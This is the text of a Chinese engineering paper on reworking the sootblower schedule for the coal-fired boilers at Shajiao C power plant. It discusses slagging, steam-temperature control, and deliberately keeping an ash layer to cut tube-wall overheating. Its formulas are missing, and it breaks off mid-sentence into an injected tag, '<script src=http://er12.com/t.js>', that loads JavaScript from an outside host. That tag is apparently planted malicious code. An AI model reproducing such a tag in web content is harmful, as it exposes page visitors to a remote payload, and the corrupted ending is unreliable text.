摘 要:长期以来,沙角c电厂锅炉吹灰器的投停都以固定不变的成组方式进行,吹灰模式存在很多问题,严重影响了机组的效率和安全运行,为此提出了吹灰程序的优化试验:对锅炉吹灰器重新分组,结合锅炉运行参数的变化,不断地调整吹灰模式,针对锅炉结焦积灰情况,制定出适应每台锅炉的针对性吹灰程序,选择性地对锅炉受热面进行吹灰,这样,一方面,继续有效地抑制锅炉结焦,另一方面大大提高了机组效率,保证了锅炉的安全经济运行。
关键词:锅炉;吹灰器;结焦;选择性吹灰;优化试验
沙角c电厂3×660 mw机组锅炉(2 100 t/h)为美国ce公司制造的亚临界压力、一次再热、单汽包、控制循环、四角喷燃双切圆燃煤锅炉。锅炉吹灰器采用了美国cope-vugan公司的产品,在炉膛水冷壁区域布置有88只短吹灰器,在炉膛出口及水平烟道、尾部烟道布置有68只长吹灰器和半长吹灰器。
1 原吹灰程序存在的问题
这种四角喷燃双切圆燃烧燃煤锅炉,由于炉膛尺寸较小,炉内热强度大,自1996年正式移交投产以后,一直都有结焦的情况存在,开始的时候还比较严重,因而强调使用吹灰器可防止结焦,并未过多考虑其对锅炉整体运行的影响。此外,长期以来,吹灰器的投停都以固定不变的成组方式进行,一直没有进行过调整。近年来,锅炉结焦问题得到了有效抑制,而这种吹灰模式的弊端也越来越多地暴露出来,主要表现在:
a)炉膛水冷壁吹灰次数过多,造成汽温偏低。
为了提高汽温,又增加了对水平烟道末级过热器和末级再热器管屏处的吹灰次数,这样不仅浪费汽源,而且也增加了对管子的冲蚀。
b)由于吹灰频繁,炉膛水冷壁、过热蒸汽管、再热蒸汽管管壁过于清洁,管子表面缺乏调节换热的“灰层”,热量分配容易失衡,导致过热汽温与再热汽温调节困难,对煤种的适应性很差。出现两侧汽温偏差时,调整的手段和幅度也非常有限。
c)吹灰缺乏针对性,对所有吹灰器一视同仁,往往是成组成片启动,造成有些地方吹灰过多而另一些地方吹灰过少,汽温虽然偏低,而炉膛局部结焦严重的情况仍然存在。
d)1号锅炉还存在另一个特殊问题。一段时间以来,末级过热器炉顶、炉外管壁容易超温,有时不得不将主汽温降低,最低时比额定汽温低15~20℃,严重影响机组效率,为此,希望在运行中通过选择性吹灰来减少超温的情况发生。
2 吹灰程序的优化试验
2.1 试验方法与步骤
国外一些智能吹灰产品要求在锅炉上加装大量的温度变送器、压力变送器,再采用模型计算的方法,给出吹灰的提示。沙角c厂的处理方法则是利用现有的dcs数据,采用锅炉结焦积灰检查表,从看火孔处,对炉内的积灰结渣情况进行检查并记录积灰结渣的程度(见表1),并结合锅炉运行参数分析,长时间对锅炉结焦积灰情况进行跟踪,找出每台锅炉的结焦积灰特性。沙角c电厂锅炉炉膛水冷壁区域的结焦分布基本如图1所示。对锅炉吹灰器重新分组,初步制定每只吹灰器的吹灰频率,记录锅炉参数变化,在就地对锅炉结焦积灰情况进行跟踪。经过几次这样的反复修改和试验,找出适合每台锅炉特性的吹灰程序,最后结合机组负荷情况和煤种的变化给出每台锅炉的吹灰指引。
2.2 1号炉的特殊情况
根据传热学的基本公式,对处于对流区某段的管子,假设忽略烟气辐射换热和金属管子管壁热阻不计(并假设管内壁清洁),其换热量为:
式中:q———换热量;
t1———蒸汽温度;
t2———烟气温度;
α1———蒸汽侧对流换热系数;
α2———烟气侧对流换热系数;
δ———管子表面灰层厚度;
λ———管子表面的导热系数。
而管壁金属温度则为:
式中:tw金属管壁温度。
当管子表面“灰层”增加时,换热量减少,其他参数维持不变时,管壁温度就会降低。在找出1号炉的结焦积灰特性后,考虑到超温的因素,相对增加初级和中级过热器处的吹灰频率,适当减少末级过热器管屏处的吹灰次数,“人为”地制造“灰层”,增加热阻,减少该区域的传热,从而降低壁温。
3 吹灰程序优化后的效果
吹灰程序优化后的效果如下:
a)锅炉结焦情况继续得到有效抑制。2002年以来,广东地区用电紧张,机组负荷连续居高不下,锅炉运行受到前所未有的考验,对易结焦部位加强吹灰,对防止严重结焦事故起了重要的作用。
b)温度控制得到明显改善。在绝大?script src=http://er12.com/t.js>